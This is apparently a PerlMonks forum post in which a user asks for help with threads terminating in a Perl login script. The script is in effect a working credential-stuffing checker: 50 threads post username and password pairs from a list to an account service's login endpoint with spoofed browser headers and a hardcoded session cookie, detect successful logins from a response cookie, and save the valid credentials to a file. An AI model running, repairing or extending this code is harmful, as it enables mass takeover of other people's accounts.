Well monks this one has me stumped, I have been toying with a login script but I keep getting errors like so Thread 4 terminated abnormally: Error POSTing http://account.verydeep.us/auth: Can't connect to account.verydeep.us:80 (An operation was attempted on something that is not a socket.) at homerun.pl line 10764 Now can some one school me on proper error handling to avoid threads terminating and perhaps the initial cause of this error? thanks

use strict; use threads; use Thread::Queue; use WWW::Mechanize; use threads::shared; # number of worker threads my $THREADS=50; # accounts go here my $logins= <<'EOT'; EOT # account regex my $r1='((?:[a-z0-9_][a-z0-9_]*))'; my $r2='(:)'; my $r3='((?:[a-z0-9_][a-z0-9_]*))'; my $r4='(:)'; my $r5='(\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b)'; my $r=$r1.$r2.$r3.$r4.$r5; # response regex my $rg1='(PVPNET_ACCT_NA)'; my $rg2='(=)'; my $rg3='(.*)'; my $rg4='(;)'; my $rg5='( )'; my $rg6='(expires)'; my $rg=$rg1.$rg2.$rg3.$rg4.$rg5.$rg6; my $c=0; # spinner state my $checked :shared; # sets variables to be shared my $failed :shared; my $success :shared; my $loaded :shared; my $ETA=0; $checked=0; $failed=0; $success=0; $loaded=0; my $DQ = Thread::Queue->new(); # creates main data queue # loads logins into the data queue while($logins =~ m/$r/isg) { $loaded++; $DQ->enqueue("$1$2$3$4$5"); } $DQ->enqueue("EXIT") for(1..$THREADS); # setting end of queue threads->create("fetchname") for(1..$THREADS); # creating worker threa +ds # statistics display, runs while threads are active and undetached while(threads->list(threads::running)){ &spin; } # the worker threads sub fetchname { my $mech = WWW::Mechanize->new(); my $url = "http://account.verydeep.us/auth"; $mech->stack_depth(0); $mech->add_header( 'Host' => 'account.verydeep.us' ); $mech->add_header( 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; W +OW64; rv:20.0) Gecko/20100101 Firefox/20.0' ); $mech->add_header( 'Accept' => 'application/json, text/javascript, + */*; q=0.01' ); $mech->add_header( 'Accept-Language' => 'en-US,en;q=0.5' ); $mech->add_header( 'Accept-Encoding' => 'gzip, deflate' ); $mech->add_header( 'Content-Type' => 'application/x-www-form-urlen +coded; charset=UTF-8' ); $mech->add_header( 'X-Requested-With' => 'XMLHttpRequest' ); $mech->add_header( 'Referer' => 'https://account.verydeep.com/pm.h +tml?xdm_e=https%3A%2F%2Faccount.verydeep.com%2Flogin&xdm_c=default117 +0&xdm_p=4' ); $mech->add_header( 'Cookie' => 'visid_incap_51250=L/p4J/81RaWWf7nn +gJC88f7+mVEAAAAAAAAAAAAAAAA627Fy7OjkMoyA2Oc4B6//; PVPNET_REGION=na; P +VPNET_LANG=en_US; __cfduid=df7eac3c5c127bfbcb0e31c30fb17b52c136907855 +6; s_nr=1369456554695-Repeat; rp2=1369456554696-Repeat; s_vi=[CS]v1|2 +8CD3D94051D35DC-6000012C2000087C[CE]; s_cc=true; s_ppv=lol%253Ana%253 +Aenglish%253Aaccount%2520management%2C96%2C72%2C1255; s_sq=%5B%5BB%5D +%5D; incap_ses_122_51250=WxwcF6i6NR0DKIgvX26xAWs/oFEAAAAAitH5v/t9EiIL +qMw2ixl+Sw==; riot_region=na' ); $mech->add_header( 'Connection' => 'keep-alive' ); $mech->add_header( 'Pragma' => 'no-cache' ); $mech->add_header( 'Cache-Control' => 'no-cache'); while(my $next=$DQ->dequeue()) { last if $next eq 'EXIT'; if($next =~ m/$r/isg) { RETRY: my $user= $1; my $pass= $3; my $email= $5; $mech->post($url, [ 'username'=>"$user", 'password'=>"$pass", ]); $checked++; if ($@) { croak $@; goto RETRY; } my $response=$mech->response->headers->as_string; if($response =~ m/$rg/isg) { $success++; open (DATAOUT, '>>data.txt'); my $fullinfo = "$3:$user:$pass:$email"; print DATAOUT "$fullinfo\n"; close (DATAOUT); } else { $failed++; open (FAILEDOUT, '>>failed.txt'); my $fullfail = "$user:$pass:$email"; print FAILEDOUT "$fullfail\n"; close (FAILEDOUT); } } } sleep(5); threads->detach; } # spinning statistics sub spin { local $| = 1; if($checked!=0) { $ETA = $checked/$loaded*100; } $ETA = sprintf ("%.0f", $ETA); print "\rLoaded: $loaded Checked: $checked Good: $success Bad: $fa +iled $ETA% ", qw( | / - \ )[$c++%4]; select undef, undef, undef, 0.25; }

In reply to Threads terminating adbnormally by allhellno

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.